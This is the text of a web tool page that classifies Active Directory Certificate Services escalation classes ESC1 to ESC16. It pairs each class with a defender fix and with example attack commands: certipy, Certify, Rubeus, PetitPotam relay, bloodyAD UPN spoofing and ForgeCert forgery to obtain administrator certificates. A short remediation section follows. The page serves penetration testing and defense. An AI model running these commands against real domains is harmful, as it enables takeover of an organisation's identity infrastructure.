ADCS ESC Finder
Paste Certipy (JSON or text), Certify, or certutil output — the tool auto-detects the format, classifies ESC1–ESC16, and gives prioritized operator attack paths, defender fixes, and Windows/Linux commands. Exports chainable edges for the Attack Path Chainer. All client-side, nothing stored.
● ESC1 → ESC16 — the ADCS escalation ladder 16 known AD CS privilege-escalation classes · Windows + Kali examples SHOW ALL 16HIDE▼
Template allows the requester to set the Subject Alternative Name + has a client-auth EKU → request a cert as any user (e.g. a Domain Admin).
manager approval / lock SAN▸example attack
Certify.exe request /ca:CORP-CA /template:VulnTmpl /altname:administrator Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
certipy req -u user@dom -p 'pass' -ca CORP-CA -template VulnTmpl \ -upn administrator@dom -dc-ip <dc> certipy auth -pfx administrator.pfx -dc-ip <dc>
Template grants Any-Purpose EKU (or none) → the issued cert is usable for any authentication purpose.
restrict EKUs▸example attack
Certify.exe request /ca:CORP-CA /template:AnyPurposeTmpl
certipy req -u user@dom -p 'pass' -ca CORP-CA -template AnyPurposeTmpl
Template has the Certificate Request Agent EKU → enroll on behalf of another principal, including privileged ones.
restrict agent enrollment▸example attack
Certify.exe request /ca:CORP-CA /template:EnrollAgent Certify.exe request /ca:CORP-CA /template:User \ /onbehalfof:DOM\administrator /enrollcert:agent.pfx
certipy req -u user@dom -p 'pass' -ca CORP-CA -template EnrollAgent certipy req -u user@dom -p 'pass' -ca CORP-CA -template User \ -on-behalf-of 'DOM\administrator' -pfx agent.pfx
You hold write/owner over a template object → rewrite it into an ESC1, enroll, then revert.
tighten template DACL▸example attack
StandIn.exe --adcs --filter VulnTmpl --ess --clientauth # make it ESC1
:: ...run the ESC1 request above, then restore the template...certipy template -u user@dom -p 'pass' -template VulnTmpl -write # make it ESC1 certipy template -u user@dom -p 'pass' -template VulnTmpl \ -configuration saved.json # restore
Weak ACL over PKI objects (CA computer object, CA's AD container) → broader PKI takeover.
audit PKI object DACLs▸example attack
Get-DomainObjectAcl -SearchBase 'CN=Public Key Services,...' -ResolveGUIDs
:: triage the ACE in the DACL Reader, then abuse like a Tier-0 edgenxc ldap <dc> -u user -p 'pass' -M daclread \ -o TARGET='CN=<CA>,...,CN=Public Key Services,...'
CA flag lets any request specify a SAN → request a cert as anyone (pre-May 2022 patch).
clear the CA flag + patch▸example attack
Certify.exe request /ca:CORP-CA /template:User /altname:administrator
certipy req -u user@dom -p 'pass' -ca CORP-CA -template User \ -upn administrator@dom
ManageCA / ManageCertificates on the CA → approve requests, enable the SAN flag, issue to self.
restrict CA role holders▸example attack
Certify.exe manage-ca /ca:CORP-CA /addofficer:user # or certutil / PSPKI
:: then enable a template / approve your own pending requestcertipy ca -u user@dom -p 'pass' -ca CORP-CA -add-officer user certipy ca -u user@dom -p 'pass' -ca CORP-CA -enable-template VulnTmpl
CA exposes HTTP(S) web enrollment (certsrv) → coerce + relay a privileged machine's NTLM to get a cert.
EPA + HTTPS-only / disable web enroll▸example attack
:: coerce from Windows: PetitPotam.exe <attacker> <dc> :: or SpoolSample.exe <dc> <attacker> :: relay is run from Linux (Impacket) — see LINUX tab
certipy relay -target 'http://<ca>/certsrv/certfnsh.asp' \
-template DomainController
# coerce in another shell: PetitPotam.py <attacker> <dc>Template sets CT_FLAG_NO_SECURITY_EXTENSION → cert maps by UPN; abuse with GenericWrite over a victim.
require the SID extension▸example attack
Set-ADUser victim -UserPrincipalName administrator@dom # needs GenericWrite Certify.exe request /ca:CORP-CA /template:VulnTmpl # as victim
bloodyAD -u user -p 'pass' -d dom --host <dc> set object victim \ userPrincipalName -v administrator@dom certipy req -u victim@dom -p 'pass' -ca CORP-CA -template VulnTmpl
Weak mapping registry keys (StrongCertificateBinding / CertificateMappingMethods) → UPN spoof to a privileged account.
enforce strong binding (KB5014754)▸example attack
:: DC-side weak mapping; abuse mirrors ESC9
Set-ADUser victim -UserPrincipalName administrator@dom
Certify.exe request /ca:CORP-CA /template:User# abuse mirrors ESC9 (set victim UPN, enroll, auth)
certipy req -u victim@dom -p 'pass' -ca CORP-CA -template UserCA's RPC enrollment endpoint lacks encryption → relay over RPC (ESC8's RPC cousin).
enforce RPC encryption▸example attack
:: coerce from Windows, relay from Linux (Impacket) — see LINUX tabcertipy relay -target 'rpc://<ca>' -template DomainController
CA private key on a YubiHSM reachable from a shell on the CA → extract the key, forge any cert.
protect HSM PIN / shell access▸example attack
:: requires shell on the CA host:
ForgeCert.exe --CaCertPath ca.pfx --Subject CN=User \
--SubjectAltName administrator@dom --NewCertPath forged.pfx# shell on CA: read HSM auth key/PIN, export the CA signing key, # then forge offline (ForgeCert / certipy forge)
Template's issuance policy OID is linked (msDS-OIDToGroupLink) to a privileged group → the cert grants that membership.
audit OID-to-group links▸example attack
Certify.exe request /ca:CORP-CA /template:PolicyTmpl
certipy req -u user@dom -p 'pass' -ca CORP-CA -template PolicyTmpl
Write access to a target's altSecurityIdentities → add an explicit cert mapping to a privileged account.
lock down altSecurityIdentities▸example attack
Set-ADUser administrator -Add @{altSecurityIdentities='X509:<I>...<S>...'}
Rubeus.exe asktgt /user:administrator /certificate:yours.pfx /pttbloodyAD -u user -p 'pass' -d dom --host <dc> set object administrator \ altSecurityIdentities -v 'X509:<I>...<S>...' certipy auth -pfx yours.pfx -username administrator -domain dom
Inject arbitrary EKUs via Application Policies in the CSR on schema v1 templates → client-auth from a template that shouldn't allow it.
patch + retire v1 templates▸example attack
Certify.exe request /ca:CORP-CA /template:WebServer \ /applicationpolicies:1.3.6.1.5.5.7.3.2 :: Client Auth (updated Certify)
certipy req -u user@dom -p 'pass' -ca CORP-CA -template WebServer \ -application-policies 'Client Authentication'
CA globally omits the SID security extension (DisableExtensionList) → domain-wide ESC9-style weak mapping.
re-enable the extension on the CA▸example attack
:: every issued cert lacks the SID binding; chain with ESC9/ESC10
Set-ADUser victim -UserPrincipalName administrator@dom
Certify.exe request /ca:CORP-CA /template:UserbloodyAD ... set object victim userPrincipalName -v administrator@dom certipy req -u victim@dom -p 'pass' -ca CORP-CA -template User
Blue Team — Remediation general hardening + per-ESC remediation SHOW FIXESHIDE▼
- Enforce strong certificate mapping domain-wide:
StrongCertificateBindingEnforcement = 2(KB5014754). - Run
certipy find -vulnerable/ PSPKI on a schedule and diff the results. - Tier your PKI: CA admins and template write-access are Tier 0 only.
- Monitor Events 4886/4887 (cert requested/issued), 4768 (TGT via cert), 4899/4900 (template/CA changed), 5136 (AD object modified).
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 then restart certsvc.StrongCertificateBindingEnforcement = 2.StrongCertificateBindingEnforcement = 2 and remove weak CertificateMappingMethods on DCs.